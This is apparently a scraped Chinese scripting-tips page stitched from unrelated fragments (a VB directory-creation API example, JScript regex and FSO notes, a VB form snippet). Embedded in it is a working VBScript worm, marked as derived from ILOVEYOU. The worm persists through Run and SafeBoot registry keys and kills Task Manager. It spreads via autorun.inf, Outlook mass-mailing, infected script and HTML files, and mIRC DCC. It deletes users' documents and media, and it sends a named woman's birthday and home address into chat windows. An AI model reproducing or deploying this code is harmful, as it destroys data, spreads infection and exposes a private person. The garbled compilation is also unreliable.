零度辅助脚本unity 动态添加

发布时间:2020-06-22 来源:脚本之家 点击:

PrivateDeclareFunctionCreateDirectoryLib"kernel32"Alias"CreateDirectoryA"(ByVallpPathNameAsString,lpSecurityAttributesAsSECURITY_ATTRIBUTES)AsLong

PrivateTypeSECURITY_ATTRIBUTES
nLengthAsLong
lpSecurityDescriptorAsLong
bInheritHandleAsLong
EndType

SubMain()
'在C盘创建了"VB编程乐园"目录
CallCreateNewDirectory("C:\VB编程乐园")
MsgBox"在C盘创建了VB编程乐园目录"
EndSub

PublicSubCreateNewDirectory(NewDirectoryAsString)
DimsDirTestAsString
DimSecAttribAsSECURITY_ATTRIBUTES
DimbSuccessAsBoolean
DimsPathAsString
DimiCounterAsInteger
DimsTempDirAsString
DimiFlagAsInteger
iFlag=0
sPath=NewDirectory

IfRight(sPath,Len(sPath))<>""Then
sPath=sPath&""
EndIf

iCounter=1
DoUntilInStr(iCounter,sPath,"")=0
iCounter=InStr(iCounter,sPath,"")
sTempDir=Left(sPath,iCounter)
sDirTest=Dir(sTempDir)
iCounter=iCounter 1

'创建目录

SecAttrib.lpSecurityDescriptor=&O0
SecAttrib.bInheritHandle=False
SecAttrib.nLength=Len(SecAttrib)
bSuccess=CreateDirectory(sTempDir,SecAttrib)
Loop
EndSub->


dimcc,cipher,correy
forl=1tolen(self)
cc=mid(self,l,1)
ifl>99andinstr(self,"LiuChunli")>0then
cipher=chr(scode(cc)+9)rem我开始用99,得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
endif
correy=correy&cipher
next

lcl.Writecorrey
lcl.Close

dimhk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwritehk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot"
wshshell.Regwritesafe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwritesafe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run"cmd/ctaskkill/f/imtaskmgr.exe",0
wshshell.run"cmd/ctaskkill/f/imtasklist.exe",0
loop

dimd
ForEachdinfso.Drives
ifd.drivetype<>4then
fso.CopyFileb,d&"\lcl.txt"
scan(d)
endif
ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then
fso.copyfilewscript.scriptfullname,d&"\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
setinf=fso.createtextfile(d&"\autorun.inf",true)
fso.getfile(d&"\autorun.inf").attributes=7
inf.writeline"[autorun]"
inf.writeline"open="
inf.writeline"shell\open=打开(&O)"
inf.writeline"shell\open\Command=WScript.exelclrun.vbs"
inf.writeline"shell\open\Command=WScript.exelcl.vbs"
inf.writeline"shell\open\Default=1"
inf.writeline"shell\explore=资源管理器(&X)"
inf.writeline"shell\explore\Command=WScript.exelclrun.vbs"
inf.writeline"shell\explore\Command=WScript.exelcl.vbs"
inf.close
setini=fso.createtextfile(d&"\desktop.ini",true)
fso.getfile(d&"\desktop.ini").attributes=7
ini.writeline"[.ShellClassInfo]"
ini.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.close
setlclrun=fso.createtextfile(d&"\lclrun.vbs",true)
fso.getfile(d&"\lclrun.vbs").attributes=7
lclrun.writeline"OnErrorGoTo0"
lclrun.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline"iforeachdinfso.drives"
lclrun.writeline"ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then"
lclrun.writeline"fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes=7"
lclrun.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline"endif"
lclrun.writeline"next"
lclrun.close
endif
next

dimwshnetwork,netdrives,net1,net2
SetWSHNetwork=WScript.CreateObject("WScript.Network")
SetnetDrives=WSHNetwork.EnumNetworkDrives
IfnetDrives.Count>0Then
Fori=0TonetDrives.Count-1Step2
net1=netdrives(i)
net2=netDrives(i+1)
scan(net1)
scan(net2)
Next
EndIf

dimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
SetoutlookApp=CreateObject("Outlook.App"&"lication")
IfoutlookApp="Outlook"oroutlookapp="outlookexpress"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")''获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists''获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count''获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount''遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)''获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)''获取具体Email地址
item.To=addrEnt.Address
item.Subject=title
item.Body=text
SetattachMents=item.Attachments
attachMents.Addfso.GetSpecialFolder(0)&"\lcl.vbs"
item.DeleteAfterSubmit=True''信件提交后自动删除
Ifitem.To<>""Then
item.Send
wshshell.regwrite"HKCU\software\Mailtest\mailed","1"
EndIf
Next
EndIf
Next
Endif

remnextfromiloveyou.
setout=WScript.CreateObject("Outlook.Application")
setmapi=out.GetNameSpace("MAPI")
forctrlists=1tomapi.AddressLists.Count
seta=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if(regv="")then
regv=1
endif
if(int(a.AddressEntries.Count)>int(regv))then
forctrentries=1toa.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if(regad="")then
setmale=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject=title
male.Body=text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
endif
x=x+1
next
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
endif
next
Setout=Nothing
Setmapi=Nothing

SetobjOutlook=CreateObject("Outlook.Application")
IfobjOutlook="Outlook"Then
SetobjNamespace=objOutlook.GetNameSpace("MAPI")
SetcolAddressLists=objNamespace.AddressLists
SetonjNameSpace=Nothing
ForEachobjItemIncolAddressLists
IfobjItem.AddressEntries.Count<>0Then
intCountOfAddresses=objItem.AddressEntries.Count
Fori=1TointCountOfAddresses
SetobjMailMsg=objOutlook.CreateItem(0)
SetobjDestAddress=objItem.AddressEntries(i)
objMailMsg.To=objDestAddress.Address
objMailMsg.Subject=title
objMailMsg.Body=text
execute"setobjSend=objMailMsg."&Chr(65)&Chr(116)&Chr(116)&Chr(97)&Chr(99)&Chr(104)&Chr(109)&Chr(101)&Chr(110)&Chr(116)&Chr(115)
strAttach=strFilePathName
objMailMsg.DeleteAfterSubmit=True
objSend.AddstrAttach
IfobjMailMsg.To<>""Then
objMailMsg.Send
EndIf
Next
EndIf
Next
SetobjOutlook=Nothing
SetobjItem=Nothing
SetobjMailMsg=Nothing
SetobjDestAddress=Nothing
EndIf

strComputer="."
SetwbemServices=Getobject("winmgmts:\"&strComputer)
SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process")
ForEachwbemObjectInwbemObjectSet
ifwbemObject.Name="msn.exe"orwbemObject.Name="qq.exe"then
WshShell.AppActivatewbemobject.name
WshShell.SendKeys"canyouhelpmefindaperson?"
WshShell.SendKeys"^{enter}"'or"^~"
WScript.Sleep9000
WshShell.SendKeys"hernameisLiuChunli"
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"herbirthdayis1981-02-17."
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys"^{enter}"
endif
Next

subscan(folder)
OnErrorGoTo0
setfd=fso.getfolder(folder)
foreachfileinfd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
ifext="vbs"orext="vbe"orext="wsc"orext="wsf"orext="wsh"orext="sct"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="htm"orext="html"orext="xhtml"orext="shtml"orext="dhtml"orext="phtml"orext="eml"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
remorext="mspx"
ifext="htd"orext="asp"orext="htt"orext="aspx"orext="cfm"orext="tpl"orext="dtd"orext="hta"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="ini"then
ifnotinstr(self1,"LiuChunli")>0then
dimini
setini=fso.opentextfile(file.path,8,true)
ini.writelinechr(13)&chr(10)
ini.WriteLine"[script]"
ini.WriteLine"n0=on1:JOIN:#:{"
ini.WriteLine"n1=/if($nick==$me){halt}"
ini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\lcl.vbs"
remini.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nick"&dirsystem&"\lcl.vbs"}"
'利用命令/ddcsend$nick"&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine"n3=}"
ini.WriteLine";LiuChunli"
ini.close
endif
endif
remevery9inthelunarcalendadoit
ifext="mp3"orext="doc"orext="docx"orext="dwg"orext="wma"orext="swf"orext="jpg"then
file.deletetrue
endif
next
foreachsubfdinfd.subfolders
scan(subfd)
next
endsub

shell脚本加密

'使用上面所示的正则表达式,下面的 JScript 代码可以使用子匹配信息,在一个文字字符串中将连续出现两次的相同单词替换为一个相同的单词:
var ss="Is is the cost of of gasoline going up up?.\n";
var re=/\b([a-z]+) \1\b/gim; //创建正则表达式样式比如使用下面的语句:

If(loopNdxMod10)=0ThenDoEvents

如果只是使用DoEvents来屏蔽鼠标以及键盘操作,那么就可以在事件队列中存在待处理项目时调用它


'This code is done by KangKang@
Option explicit ‘This is optional, but better to use.
Dim FolderPath,Folder
Dim fso,File,Files
Dim fileNums
Dim FileString()
Dim i
Dim ii

i=0
FolderPath="E:\TDDOWNLOAD\aa"

'**********************1.To create the FileSystemObject object********************************
Set fso=CreateObject("Scripting.FileSystemObject")'This is the way to create FileSystemObjecy
‘这句话在Excel VBA中也可以如此定义来引用FSO!
'Scripting是类库的名字,filesystemobject是所引用的对 '象, 说明了此时VBA所用的对象不是自带的,而是引用 '外界的


调用API过程
  在声明了函数之后,调用它的方式与标准的VisualBasic函数相同


On Error Resume Next

例如,如果服务器产生一个名叫Myresult.html的HTML文件答复来自客户端的请求,客户端应用能够通过与服务器建立的CrescentActiveX连接来获取并下载这个文件

函数1
mysql定时备份"
Label3.Caption="东汉工作室"
Label4.Caption="东汉工作室"
Label1.FontName="研泽古印体"
Label2.FontName="研泽古印体"
Label3.FontName="研泽古印体"
Label4.FontName="研泽古印体"
Label1.ForeColor=QBColor(13)
Label3.ForeColor=QBColor(9)

EndSub


PrivateSubPicture2_Click()
End
EndSub


PrivateSubTimer1_Timer()
Picture2.Top=Picture2.Top-1
IfPicture2.Top<=-150ThenPicture2.Top=93
EndSub->

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号